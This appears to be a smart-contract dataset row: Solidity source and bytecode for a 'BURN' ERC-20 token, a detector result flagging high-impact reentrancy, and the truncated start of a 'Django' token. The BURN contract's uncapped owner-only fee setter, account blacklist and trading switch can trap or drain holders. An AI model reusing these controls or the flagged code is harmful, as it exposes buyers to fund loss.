function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BURN is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Burn";
string private constant _symbol = "BURN";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 15;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 15;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x2C615C408c4506315D2e617527b788d2A34E1DB7);
address payable private _marketingAddress = payable(0x2C615C408c4506315D2e617527b788d2A34E1DB7);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 15000000000 * 10**9;//1%
uint256 public _maxWalletSize = 15000000000 * 10**9;//1.5%
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610550578063dd62ed3e14610570578063ea1644d5146105b6578063f2fde38b146105d657600080fd5b8063a2a957bb146104cb578063a9059cbb146104eb578063bfd792841461050b578063c3c8cd801461053b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104485780638f9a55c01461046857806395d89b411461047e57806398a5c315146104ab57600080fd5b80637d1db4a5146103e75780637f2feddc146103fd5780638da5cb5b1461042a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026d57806318160ddd146102a557806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023d57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195c565b6105f6565b005b34801561020a57600080fd5b50604080518082019091526004815263213ab93760e11b60208201525b6040516102349190611a21565b60405180910390f35b34801561024957600080fd5b5061025d610258366004611a76565b610695565b6040519015158152602001610234565b34801561027957600080fd5b5060145461028d906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156102b157600080fd5b50683635c9adc5dea000005b604051908152602001610234565b3480156102d757600080fd5b5061025d6102e6366004611aa2565b6106ac565b3480156102f757600080fd5b506102bd60185481565b34801561030d57600080fd5b5060405160098152602001610234565b34801561032957600080fd5b5060155461028d906001600160a01b031681565b34801561034957600080fd5b506101fc610358366004611ae3565b610715565b34801561036957600080fd5b506101fc610378366004611b10565b610760565b34801561038957600080fd5b506101fc6107a8565b34801561039e57600080fd5b506102bd6103ad366004611ae3565b6107f3565b3480156103be57600080fd5b506101fc610815565b3480156103d357600080fd5b506101fc6103e2366004611b2b565b610889565b3480156103f357600080fd5b506102bd60165481565b34801561040957600080fd5b506102bd610418366004611ae3565b60116020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028d565b34801561045457600080fd5b506101fc610463366004611b10565b6108b8565b34801561047457600080fd5b506102bd60175481565b34801561048a57600080fd5b50604080518082019091526004815263212aa92760e11b6020820152610227565b3480156104b757600080fd5b506101fc6104c6366004611b2b565b610900565b3480156104d757600080fd5b506101fc6104e6366004611b44565b61092f565b3480156104f757600080fd5b5061025d610506366004611a76565b61096d565b34801561051757600080fd5b5061025d610526366004611ae3565b60106020526000908152604090205460ff1681565b34801561054757600080fd5b506101fc61097a565b34801561055c57600080fd5b506101fc61056b366004611b76565b6109ce565b34801561057c57600080fd5b506102bd61058b366004611bfa565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c257600080fd5b506101fc6105d1366004611b2b565b610a6f565b3480156105e257600080fd5b506101fc6105f1366004611ae3565b610a9e565b6000546001600160a01b031633146106295760405162461bcd60e51b815260040161062090611c33565b60405180910390fd5b60005b81518110156106915760016010600084848151811061064d5761064d611c68565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068981611c94565b91505061062c565b5050565b60006106a2338484610b88565b5060015b92915050565b60006106b9848484610cac565b61070b843361070685604051806060016040528060288152602001611dae602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111e8565b610b88565b5060019392505050565b6000546001600160a01b0316331461073f5760405162461bcd60e51b815260040161062090611c33565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078a5760405162461bcd60e51b815260040161062090611c33565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107dd57506013546001600160a01b0316336001600160a01b0316145b6107e657600080fd5b476107f081611222565b50565b6001600160a01b0381166000908152600260205260408120546106a69061125c565b6000546001600160a01b0316331461083f5760405162461bcd60e51b815260040161062090611c33565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b35760405162461bcd60e51b815260040161062090611c33565b601655565b6000546001600160a01b031633146108e25760405162461bcd60e51b815260040161062090611c33565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092a5760405162461bcd60e51b815260040161062090611c33565b601855565b6000546001600160a01b031633146109595760405162461bcd60e51b815260040161062090611c33565b600893909355600a91909155600955600b55565b60006106a2338484610cac565b6012546001600160a01b0316336001600160a01b031614806109af57506013546001600160a01b0316336001600160a01b0316145b6109b857600080fd5b60006109c3306107f3565b90506107f0816112e0565b6000546001600160a01b031633146109f85760405162461bcd60e51b815260040161062090611c33565b60005b82811015610a69578160056000868685818110610a1a57610a1a611c68565b9050602002016020810190610a2f9190611ae3565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6181611c94565b9150506109fb565b50505050565b6000546001600160a01b03163314610a995760405162461bcd60e51b815260040161062090611c33565b601755565b6000546001600160a01b03163314610ac85760405162461bcd60e51b815260040161062090611c33565b6001600160a01b038116610b2d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610620565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610620565b6001600160a01b038216610c4b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610620565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d105760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610620565b6001600160a01b038216610d725760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610620565b60008111610dd45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610620565b6000546001600160a01b03848116911614801590610e0057506000546001600160a01b03838116911614155b156110e157601554600160a01b900460ff16610e99576000546001600160a01b03848116911614610e995760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610620565b601654811115610eeb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610620565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2d57506001600160a01b03821660009081526010602052604090205460ff16155b610f855760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610620565b6015546001600160a01b0383811691161461100a5760175481610fa7846107f3565b610fb19190611caf565b1061100a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610620565b6000611015306107f3565b60185460165491925082101590821061102e5760165491505b8080156110455750601554600160a81b900460ff16155b801561105f57506015546001600160a01b03868116911614155b80156110745750601554600160b01b900460ff165b801561109957506001600160a01b03851660009081526005602052604090205460ff16155b80156110be57506001600160a01b03841660009081526005602052604090205460ff16155b156110de576110cc826112e0565b4780156110dc576110dc47611222565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112357506001600160a01b03831660009081526005602052604090205460ff165b8061115557506015546001600160a01b0385811691161480159061115557506015546001600160a01b03848116911614155b15611162575060006111dc565b6015546001600160a01b03858116911614801561118d57506014546001600160a01b03848116911614155b1561119f57600854600c55600954600d555b6015546001600160a01b0384811691161480156111ca57506014546001600160a01b03858116911614155b156111dc57600a54600c55600b54600d555b610a6984848484611469565b6000818484111561120c5760405162461bcd60e51b81526004016106209190611a21565b5060006112198486611cc7565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610691573d6000803e3d6000fd5b60006006548211156112c35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610620565b60006112cd611497565b90506112d983826114ba565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132857611328611c68565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137c57600080fd5b505afa158015611390573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b49190611cde565b816001815181106113c7576113c7611c68565b6001600160a01b0392831660209182029290920101526014546113ed9130911684610b88565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611426908590600090869030904290600401611cfb565b600060405180830381600087803b15801561144057600080fd5b505af1158015611454573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611476576114766114fc565b61148184848461152a565b80610a6957610a69600e54600c55600f54600d55565b60008060006114a4611621565b90925090506114b382826114ba565b9250505090565b60006112d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611663565b600c5415801561150c5750600d54155b1561151357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153c87611691565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156e90876116ee565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159d9086611730565b6001600160a01b0389166000908152600260205260409020556115bf8161178f565b6115c984836117d9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160e91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061163d82826114ba565b82101561165a57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836116845760405162461bcd60e51b81526004016106209190611a21565b5060006112198486611d6c565b60008060008060008060008060006116ae8a600c54600d546117fd565b92509250925060006116be611497565b905060008060006116d18e878787611852565b919e509c509a509598509396509194505050505091939550919395565b60006112d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e8565b60008061173d8385611caf565b9050838110156112d95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610620565b6000611799611497565b905060006117a783836118a2565b306000908152600260205260409020549091506117c49082611730565b30600090815260026020526040902055505050565b6006546117e690836116ee565b6006556007546117f69082611730565b6007555050565b6000808080611817606461181189896118a2565b906114ba565b9050600061182a60646118118a896118a2565b905060006118428261183c8b866116ee565b906116ee565b9992985090965090945050505050565b600080808061186188866118a2565b9050600061186f88876118a2565b9050600061187d88886118a2565b9050600061188f8261183c86866116ee565b939b939a50919850919650505050505050565b6000826118b1575060006106a6565b60006118bd8385611d8e565b9050826118ca8583611d6c565b146112d95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610620565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f057600080fd5b803561195781611937565b919050565b6000602080838503121561196f57600080fd5b823567ffffffffffffffff8082111561198757600080fd5b818501915085601f83011261199b57600080fd5b8135818111156119ad576119ad611921565b8060051b604051601f19603f830116810181811085821117156119d2576119d2611921565b6040529182528482019250838101850191888311156119f057600080fd5b938501935b82851015611a1557611a068561194c565b845293850193928501926119f5565b98975050505050505050565b600060208083528351808285015260005b81811015611a4e57858101830151858201604001528201611a32565b81811115611a60576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8957600080fd5b8235611a9481611937565b946020939093013593505050565b600080600060608486031215611ab757600080fd5b8335611ac281611937565b92506020840135611ad281611937565b929592945050506040919091013590565b600060208284031215611af557600080fd5b81356112d981611937565b8035801515811461195757600080fd5b600060208284031215611b2257600080fd5b6112d982611b00565b600060208284031215611b3d57600080fd5b5035919050565b60008060008060808587031215611b5a57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8b57600080fd5b833567ffffffffffffffff80821115611ba357600080fd5b818601915086601f830112611bb757600080fd5b813581811115611bc657600080fd5b8760208260051b8501011115611bdb57600080fd5b602092830195509350611bf19186019050611b00565b90509250925092565b60008060408385031215611c0d57600080fd5b8235611c1881611937565b91506020830135611c2881611937565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca857611ca8611c7e565b5060010190565b60008219821115611cc257611cc2611c7e565b500190565b600082821015611cd957611cd9611c7e565b500390565b600060208284031215611cf057600080fd5b81516112d981611937565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4b5784516001600160a01b031683529383019391830191600101611d26565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da857611da8611c7e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220571542be4d5c7a57efb924e80b164a7636144a114e6849b89f086e2e5db184b564736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,143 |
0xB1dfCAf230112b5C617B56d6208B3372fE1D4405
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract Django is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Django";
string private constant _symbol = "DJANGO";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant totalTokens = 100 * 1e11 * 1e9;
uint256 public _maxWalletAmount = 3 * 1e11 * 1e9;
uint256 public thresholdSwap = 1 * 1e11 * 1e9;
uint256 public _maxTxAmount = 3 * 1e11 * 1e9;
